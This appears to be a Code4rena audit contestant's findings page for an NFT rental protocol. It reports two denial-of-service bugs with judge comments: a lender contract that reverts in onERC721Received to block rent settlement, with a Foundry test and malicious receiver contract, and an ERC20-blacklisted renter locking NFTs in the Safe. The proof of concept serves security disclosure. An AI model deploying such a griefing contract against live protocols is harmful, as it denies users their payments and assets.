Platform: Code4rena
Start Date: 08/01/2024
Pot Size: $83,600 USDC
Total HM: 23
Participants: 116
Period: 10 days
Judge: 0xean
Total Solo HM: 1
Id: 317
League: ETH
Rank: 79/116
Findings: 2
Award: $25.02
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: stackachu
Also found by: 0xA5DF, 0xDING99YA, 0xc695, CipherSleuths, EV_om, HSP, cccz, evmboi32, hals, hash, jasonxiale, juancito, kaden, lanrebayode77, rbserver
22.2973 USDC - $22.30
Lender can revert on receiving ERC721/ERC1155 item to prevent renter from receiving payment in a PAY order.
When a rent is stopped, Reclaimer#reclaimRentalOrder is delegate called from Safe to transfer ERC721/ERC1155 items to lender:
// Transfer each item if it is a rented asset. for (uint256 i = 0; i < itemCount; ++i) { Item memory item = rentalOrder.items[i]; // Check if the item is an ERC721. if (item.itemType == ItemType.ERC721) _transferERC721(item, rentalOrder.lender); // check if the item is an ERC1155. if (item.itemType == ItemType.ERC1155) _transferERC1155(item, rentalOrder.lender); }
And PaymentEscrow#settlePayment is called to transfer ERC20 tokens to renter:
// Send the payment. _safeTransfer(token, settleToAddress, amount);
In _transferERC721(...) function, safeTransferFrom(...)
function is called on the ERC721 contract, and in _transferERC1155(...) function, safeTransferFrom(...)
function is called on the ERC1155 contract.
In both safeTransferFrom(...)
functions, a callback function will be called on the receiver if receiver is a contract (onERC721Received
/ onERC1155Received
), because seaport supports EIP-1271, so the lender can create PAY order with lender address being a contract which implements isValidSignature(...)
function, to revert on ERC721/ERC1511 callback functions, and the stop transaction will be reverted, renter will not be able to receive ERC20 payment.
Please note this does not necessarily mean lender will lose the ERC721/ERC1155 items, because lender can modify receiver contract status to receive ERC721/ERC1155 items whenever he/she wants. Even though renter can verify the lender contract before fulfill the order, lender can upgrade the contract after the order if fulfilled.
Please see below test case:
function test_audit_lender_revert_onERC721Received() public { // Set lender address to a contract LenderContract lenderContract = new LenderContract(); alice.addr = address(lenderContract); // create a PAY order createOrder({ offerer: alice, orderType: OrderType.PAY, erc721Offers: 1, erc1155Offers: 0, erc20Offers: 1, erc721Considerations: 0, erc1155Considerations: 0, erc20Considerations: 0 }); // set approvals erc20s[0].mint(address(lenderContract), 100); lenderContract.approve(address(conduit), address(erc20s[0]), address(erc721s[0])); lenderContract.setRevertStatus(true); // finalize the pay order creation ( Order memory payOrder, bytes32 payOrderHash, OrderMetadata memory payOrderMetadata ) = finalizeOrder(); // create a PAYEE order. The fulfiller will be the offerer. createOrder({ offerer: bob, orderType: OrderType.PAYEE, erc721Offers: 0, erc1155Offers: 0, erc20Offers: 0, erc721Considerations: 1, erc1155Considerations: 0, erc20Considerations: 1 }); // finalize the pay order creation ( Order memory payeeOrder, bytes32 payeeOrderHash, OrderMetadata memory payeeOrderMetadata ) = finalizeOrder(); // create an order fulfillment for the pay order createOrderFulfillment({ _fulfiller: bob, order: payOrder, orderHash: payOrderHash, metadata: payOrderMetadata }); // create an order fulfillment for the payee order createOrderFulfillment({ _fulfiller: bob, order: payeeOrder, orderHash: payeeOrderHash, metadata: payeeOrderMetadata }); // add an amendment to include the seaport fulfillment structs withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1}); // finalize the order pay/payee order fulfillment (RentalOrder memory payRentalOrder, ) = finalizePayOrderFulfillment(); // speed up in time past the rental expiration vm.warp(block.timestamp + 750); // stop the rental order and revert vm.expectRevert(abi.encodeWithSignature("StopPolicy_ReclaimFailed()")); vm.prank(bob.addr); stop.stopRent(payRentalOrder); } contract LenderContract { bytes4 internal constant EIP1271_MAGIC_VALUE = 0x1626ba7e; bool revertStatus; function setRevertStatus(bool _revertStatus) public { revertStatus = _revertStatus; } function approve(address _approved, address _erc20, address _erc721) external { MockERC20(_erc20).approve(_approved, type(uint256).max); MockERC721(_erc721).setApprovalForAll(_approved, true); } function onERC721Received(address, address, uint256, bytes calldata) external view returns (bytes4) { if (revertStatus) { revert(); } else { return this.onERC721Received.selector; } } function isValidSignature(bytes32 _hash, bytes memory _signature) public view returns (bytes4 magicValue) { return EIP1271_MAGIC_VALUE; } }
Manual Review
Use transferFrom(...)
function to transfer ERC721/ERC1155 items.
DoS
#0 - c4-pre-sort
2024-01-21T18:02:41Z
141345 marked the issue as duplicate of #65
#1 - c4-judge
2024-01-28T19:26:13Z
0xean marked the issue as satisfactory
#2 - c4-judge
2024-01-28T20:51:59Z
0xean changed the severity to 3 (High Risk)
#3 - c4-judge
2024-01-30T14:21:44Z
0xean changed the severity to 2 (Med Risk)
🌟 Selected for report: stackachu
Also found by: 0xHelium, 0xabhay, 0xc695, 0xpiken, DeFiHackLabs, EV_om, HSP, J4X, Krace, KupiaSec, Qkite, ZanyBonzy, albertwh1te, cccz, evmboi32, hals, hash, holydevoti0n, krikolkk, ladboy233, lanrebayode77, marqymarq10, oakcobalt, peanuts, peter, rbserver, said, serial-coder, sin1st3r__
2.7205 USDC - $2.72
ERC20 blacklist user can fulfill PAY order and make ERC721/ERC1155 items locked in the Safe.
When a rent is stopped, Reclaimer#reclaimRentalOrder is delegate called from Safe to transfer ERC721/ERC1155 items to lender:
// Transfer each item if it is a rented asset. for (uint256 i = 0; i < itemCount; ++i) { Item memory item = rentalOrder.items[i]; // Check if the item is an ERC721. if (item.itemType == ItemType.ERC721) _transferERC721(item, rentalOrder.lender); // check if the item is an ERC1155. if (item.itemType == ItemType.ERC1155) _transferERC1155(item, rentalOrder.lender); }
And PaymentEscrow#settlePayment is called to transfer ERC20 tokens to renter:
// Send the payment. _safeTransfer(token, settleToAddress, amount);
Transaction will revert if transfer failed:
if (!success || (data.length != 0 && !abi.decode(data, (bool)))) { revert Errors.PaymentEscrowModule_PaymentTransferFailed(token, to, value); }
Some tokens (e.g. USDC, USDT) have a contract level admin controlled address blocklist. If an address is blocked, then transfers to and from that address are forbidden.
If a ERC20 blacklisted user fulfilled a PAY order, then order cannot be stopped due to transferring ERC20 tokens to the renter will always revert, the lender's ERC720/ERC1155 items will be locked in the Safe.
Manual Review
Do not directly transfer ERC20 tokens to renter, renter need to claim themselves.
DoS
#0 - c4-pre-sort
2024-01-21T17:36:25Z
141345 marked the issue as duplicate of #64
#1 - c4-judge
2024-01-28T20:49:24Z
0xean changed the severity to 2 (Med Risk)
#2 - c4-judge
2024-01-28T21:01:25Z
0xean marked the issue as satisfactory